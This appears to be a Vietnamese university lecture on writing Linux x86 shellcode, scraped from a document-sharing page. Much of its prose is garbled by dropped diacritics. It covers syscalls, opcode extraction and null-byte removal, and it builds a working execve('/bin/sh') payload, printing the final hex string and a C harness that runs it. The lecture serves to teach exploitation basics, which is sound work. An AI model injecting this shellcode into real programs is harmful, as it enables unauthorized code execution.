Bài giảng Shellco
Khái niệm shellcode
Nghĩa phổ biến trước đây: một chương trình khi thực
thi sẽ cung cấp một shell
Ví dụ: '/bin/sh' cho Unix/Linux shell, hay
command.com shell trên DOS và Microsoft Windows
Nghĩa rộng hơn: bất kỳ byte code nào được chèn vào
một quá trình khai thác lỗ hổng để hoàn thành một tác
vụ mong muốn. Có nghĩa là một payload
Shellcode được viết dưới dạng ngôn ngữ
assembly, trích xuất các opcode dưới dạng hexa
và dùng như là các biến string trong chương trình
Các thư viện chuẩn không hỗ trợ shellcode, phải
dùng kernel system call của hệ điều hành một
cách trực tiếp
Trang 1
Trang 2
Trang 3
Trang 4
Trang 5
Trang 6
Trang 7
Trang 8
Trang 9
Trang 10
Tải về để xem bản đầy đủ
Bạn đang xem 10 trang mẫu của tài liệu "Bài giảng Shellco", để tải tài liệu gốc về máy hãy click vào nút Download ở trên
Tóm tắt nội dung tài liệu: Bài giảng Shellco
Shellcode N NG S N PTITHCM 1 Khái ni m shellcode Ngh a ph bi n tr c ây: m t ch ơ ng trình khi th c thi s cung c p m t shell Ví d : '/bin/sh' cho Unix/Linux shell, hay command.com shell trên DOS và Microsoft Windows Ngh a r ng hơn: b t k byte code nào c chèn vào m t quá trình khai thác l h ng hoàn thành m t tác v mong mu n. Có ngh a là m t payload 2 Khái ni m shellcode (2/2) Shellcode c vi t d i d ng ngôn ng assembly, trích xu t các opcode d i d ng hexa và dùng nh là các bi n string trong ch ơ ng trình Các th vi n chu n không h tr shellcode, ph i dùng kernel system call c a h i u hành m t cách tr c ti p 3 System call Là mã ch ơ ng trình ch y trong ng c nh c a user (user space) yêu c u kernel th c hi n các công vi c khác nhau nh m , c file, t o m t phân vùng b nh Các system call th ng c th c hi n theo th t c nh t nh nh n p m t giá tr vào thanh ghi và g i m t ng t t ơ ng ng (ví d syscall exit ví d 1) 4 Windows shellcode và Linux shellcode Linux cho phép giao ti p tr c ti p v i kernel qua int 0x80 Windows không cho phép giao ti p tr c ti p v i kernel, h th ng ph i giao ti p b ng cách n p a ch c a hàm_c n c th c thi t DLL. a ch c a hàm c tìm th y trong windows s thay i tùy theo phiên b n c a OS trong khi các 0x80 syscall number là không i 5 Vi t shellcode Hơi khác v i assembly code thông th ng, ó là kh n ng portability. Vì không th bi t a ch nên không th l p trình c ng m t a ch trong shellcode. Ph i dùng th thu t t o shellcode mà không ph i tham chi u các tham s trong b nh theo cách thông th ng Ch b ng cách cung c p a ch chính xác trên memory page và ch có th làm vào th i i m biên d ch Cách d nh t là dùng chu i trong shellcode nh ví d ơ n 6 gi n sau section .data #ch dùng thanh ghi ây... section .text global _start jmp dummy _start: #pop register, d a vào ó bi t c v trí chu i #T i ây là các assembly instructions s dùng chu i dummy: call _start t chu i ch này 7 Linux Shellcoding /*shellcodetest.c*/ char code[] = “ chu i mã l nh !"; int main(int argc, char **argv) { int (*func)(); func = (int (*)()) code; (int)(*func)(); } 8 Vi t Shellcode cho exit() syscall Vi t system call trong ngôn ng C compiled và disassembled, th y nh ng gì các ch th th c s làm main() { exit(0); } gcc –static –o exit exit.c gdb exit 9 exit syscall asm code to call exit (ví d 1) ;exit.asm section .text global _start _start: mov ebx,0 mov eax,1 int 0x80 10 D ch và trích xu t mã máy $ nasm -f elf exit.asm $ ld -o exiter exit.o $ objdump -d exiter exit_shellcode: file format elf32-i386 Disassembly of section .text: 08048080 : 8048080: bb 00 00 00 00 mov $0x0,%ebx 8048085: b8 01 00 00 00 mov $0x1,%eax 804808a: cd 80 int $0x80 Thay vào shellcodetest.c char code[] = "\xbb\x00\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80"; 11 Ví d 2 ;hello.asm section .text global _start _start: jmp short ender starter: xor eax, eax ;clean up the registers xor ebx, ebx xor edx, edx xor ecx, ecx mov al, 4 ;syscall write mov bl, 1 ;stdout is 1 pop ecx ;get the address of the string from the stack mov dl, 5 ;length of the string int 0x80 xor eax, eax mov al, 1 ;exit the shellcode xor ebx,ebx int 0x80 ender: call starter ;put the address of the string on the stack 12 db 'hello' 08048080 : 8048080: eb 19 jmp 804809b 08048082 : $ nasm -f elf hello.asm 8048082: 31 c0 xor %eax,%eax 8048084: 31 db xor %ebx,%ebx $ ld -o hello hello.o 8048086: 31 d2 xor %edx,%edx 8048088: 31 c9 xor %ecx,%ecx $ objdump -d hello 804808a: b0 04 mov $0x4,%al 804808c: b3 01 mov $0x1,%bl 804808e: 59 pop %ecx 804808f: b2 05 mov $0x5,%dl 8048091: cd 80 int $0x80 8048093: 31 c0 xor %eax,%eax 8048095: b0 01 mov $0x1,%al 8048097: 31 db xor %ebx,%ebx 8048099: cd 80 int $0x80 0804809b : 804809b: e8 e2 ff ff ff call 8048082 80480a0: 68 65 6c 6c 6f push $0x6f6c6c65 13 char code[] = "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\xcd" \ "\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f"; 14 Injectable Shellcode Nơi th ng t shellcode: buffer Buffer là m ng ký t string Chu i mã l nh th ng ch a ký t null Ví d : \xbb\x00\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80 Null k t thúc chu i, chèn shellcode và buffer không thành công C n có cách i null thành non-null opcode 15 mov ebx,0 \xbb\x00\x00\x00\x00 mov eax,1 \xb8\x01\x00\x00\x00 int 0x80 \xcd\x80 Hai ch th u làm phát sinh null Mov ebx,0 s t o ra null, thay b ng xor ebx,ebx s tránh xu t hi n null trong opcode Ch th th hai dùng eax có 4 byte d n n khi n p 1 vào thì ph n còn l i ch a null, i thành mov al,1 xor ebx,ebx mov al,1 int 0x80 16 Vi t l i mã h p ng ;exit.asm section .text global _start _start: xor eax, eax ; mov al, 1 ;exit is syscall 1 xor ebx,ebx ;zero out ebx int 0x80 17 D ch và trích xu t mã máy $ nasm -f elf exit.asm $ ld -o exiter exit.o $ objdump -d exiter Disassembly of section .text: 08048080 : 8048080: b0 01 mov $0x1,%al 8048082: 31 db xor %ebx,%ebx 8048084: cd 80 int $0x80 Thay vào shellcodetest.c char code[] = "\xb0\x01\x31\xdb\xcd\x80"; 18 L y m t shell N m b c: 1. Vi t shellcode l y shell nh mong mu n b ng ngôn ng c p cao. 2. Compile và disassemble ch ơ ng trình shellcode (ngôn ng c p cao). 3. Phân tích cách làm vi c c a ch ơ ng trình m c assembly. 4. Gi n l c t o m t ch ơ ng trình d i d ng aseembly nh g n và có tính n ng injectable nh ã nói trên. 5. Trích mã máy (instruction code) và t o shellcode. 19 Step 1 Cách d nh t t o m t shell là dùng công c t o m t ti n trình m i Có 2 cách t o: Thông qua m t ti n trình ã có và thay th program ã ch y Copy m t ti n trình có s n và ch y program m i t i v trí c a nó Kernel s h tr , ch c n báo cho kernel bi t c n làm gì b ng cách dùng fork() và execve() 20 Ch ơ ng trình l y shell c a linux #include int main() { char *happy[2]; happy[0] = “/bin/sh”; happy[1] = NULL; execve (happy[0], happy, NULL); } 21 Step 2 ch ơ ng trình C này c th c thi khi n p vào vùng nh p sơ h (vulnerable input area) c a máy tính, code ph i c d ch sang ch th mã hexa D ch ch ơ ng trình dùng static (tránh dynamic link gi execve) Disassembly ch ơ ng trình dùng objdump gcc -static –o spawnshell spawnshell.c 22 Step 3 Phân tích ch ơ ng trình d ng h p ng (sau disassembly) 23 Step 4 ơ n gi n ch ơ ng trình d i d ng assembly Thu g n, dùng ít b nh X lý ký t null 24 Step 5 Compile và disassembly l y các mã máy 25 Dạng assembly ch ưa gi ản l ượ c 080481d0 : 80481d0: 55 push %ebp 80481d1: 89 e5 mov %esp,%ebp 80481d3: 83 ec 08 sub $0x8,%esp 80481d6: 83 e4 f0 and $0xfffffff0,%esp 80481d9: b8 00 00 00 00 mov $0x0,%eax 80481de: 29 c4 sub %eax,%esp 80481e0: c7 45 f8 88 ef 08 08 movl $0x808ef88,0xfffffff8(%ebp) 80481e7: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp) 80481ee: 83 ec 04 sub $0x4,%esp 80481f1: 6a 00 push $0x0 80481f3: 8d 45 f8 lea 0xfffffff8(%ebp),%eax 80481f6: 50 push %eax 80481f7: ff 75 f8 pushl 0xfffffff8(%ebp) 80481fa: e8 f1 57 00 00 call 804d9f0 80481ff: 83 c4 10 add $0x10,%esp 8048202: c9 leave 8048203: c3 ret 0804d9f0 : 804d9f0: 55 push %ebp 804d9f1: b8 00 00 00 00 mov $0x0,%eax 804d9f6: 89 e5 mov %esp,%ebp 26 804d9f8: 85 c0 test %eax,%eax 804d9fa: 57 push %edi 804d9fb: 53 push %ebx 804d9fc: 8b 7d 08 mov 0x8(%ebp),%edi 804d9ff: 74 05 je 804da06 804da01: e8 fa 25 fb f7 call 0 804da06: 8b 4d 0c mov 0xc(%ebp),%ecx 804da09: 8b 55 10 mov 0x10(%ebp),%edx 804da0c: 53 push %ebx 804da0d: 89 fb mov %edi,%ebx 804da0f: b8 0b 00 00 00 mov $0xb,%eax 804da14: cd 80 int $0x80 804da16: 5b pop %ebx 804da17: 3d 00 f0 ff ff cmp $0xfffff000,%eax 804da1c: 89 c3 mov %eax,%ebx 804da1e: 77 06 ja 804da26 804da20: 89 d8 mov %ebx,%eax 804da22: 5b pop %ebx 804da23: 5f pop %edi 804da24: c9 leave 804da25: c3 ret 804da26: f7 db neg %ebx 804da28: e8 cf ab ff ff call 80485fc 804da2d: 89 18 mov %ebx,(%eax) 804da2f: bb ff ff ff ff mov $0xffffffff,%ebx 804da34: eb ea jmp 804da20 27 804da36: 90 nop 804da37: 90 nop Execve() syscall Execve c chuy n thành danh sách r t dài các ch th assembly trong shellcode int execve(const char *filename, char *const argv[], char *const envp[]); Th c thi ch ơ ng trình c tr b i filename. Filename ph i b n th c thi nh phân hay scrip v i m t dòng d ng “#! Interpreter [arg]” Argv là m t m ng c a chu i c chuy n cho ch ơ ng trình m i. Envp là m t m ng c a chu i, d ng key=value, c chuy n nh bi n môi tr ng cho ch ơ ng trình m i. C argv và envp u ph i k t thúc b ng con tr null 28 Man page c a execve EXECVE(2) Linux Programmer's Manual EXECVE(2) NAME execve - execute program SYNOPSIS #include int execve(const char *filename, char *const argv [], char *const envp[]); DESCRIPTION execve() executes the program pointed to by filename. filename must be either a binary executable, or a script starting with a line of the form "#! interpreter [arg]". In the latter case, the interpreter must be a valid pathname for an executable which is not itself a script, which will be invoked as interpreter [arg] filename. argv is an array of argument strings passed to the new program. envp is an array of strings, conventionally of the form key=value, which are passed as environment to the new program. Both, argv and envp must be terminated by a null pointer. The argument vector and environment can be accessed by the called program's main function, when it is defined as int main(int argc, char *argv[], char *envp[]). [...] 29 Phân tích thu g n section .text global _start _start: jmp short GotoCall shellcode: pop esi ; l u a ch c a"/bin/sh" trong ESI xor eax, eax ; bi n n i dung c a EAX thành zero mov byte [esi + 7], al ; ghi null byte vào cu i chu i mov dword [esi + 8], esi ; [ESI+8], v trí nh ngay sau chu i mov dword [esi + 12], eax ; ghi null pointer vào v trí [ESI+12] mov al, 0xb ; ghi sysnum (11) vào EAX lea ebx, [esi] ; chép a ch chu i vào EBX lea ecx, [esi + 8] ; chép tham s th 2 c a execve lea edx, [esi + 12] ; chép tham s th 3 c a execve (NULL pointer) int 0x80 ; g i ng t GotoCall: call shellcode db ‘/bin/shJAAAAKKKK’ 30 Compile và Disassemble execve2: file format elf32-i386 Disassembly of section .text: 00000000 : 0: eb 18 jmp 1a 00000002 : 2: 5e pop %esi 3: 31 c0 xor %eax,%eax 5: 88 46 07 mov %al,0x7(%esi) [son@localhost]$ nasm -f elf 8: 89 76 08 mov %esi,0x8(%esi) execve2.asm b: 89 46 0c mov %eax,0xc(%esi) [son@localhost]$ld -o execve2 e: b0 0b mov $0xb,%al execve2.o 10: 8d 1e lea (%esi),%ebx [son@localhost]$objdump -d execve2 12: 8d 4e 08 lea 0x8(%esi),%ecx 15: 8d 56 0c lea 0xc(%esi),%edx 18: cd 80 int $0x80 0000001a : 1a: e8 e3 ff ff ff call 2 1f: 2f das 20: 62 69 6e bound %ebp,0x6e(%ecx) 23: 2f das 31 24: 73 68 jae 8e 80480a8: 4a dec %edx 80480a9: 41 inc %ecx 80480aa: 41 inc %ecx 80480ab: 41 inc %ecx 80480ac: 41 inc %ecx 80480ad: 4b dec %ebx 80480ae: 4b dec %ebx 80480af: 4b dec %ebx 80480b0: 4b dec %ebx 32 L y opcode char code[] = \xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46" "\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41” “\x41\x41\x41\x4b\x4b\x4b\x4b”; int main(int argc, char **argv) { int (*func)(); func = (int (*)()) code; (int)(*func)(); } 33 Biên d ch và th c thi [son@.....]$ gcc get_shell.c –o get_shell [son@.....]$ ./get_shell $ L y c shell 34 HẾT 35
File đính kèm:
- bai_giang_shellco.pdf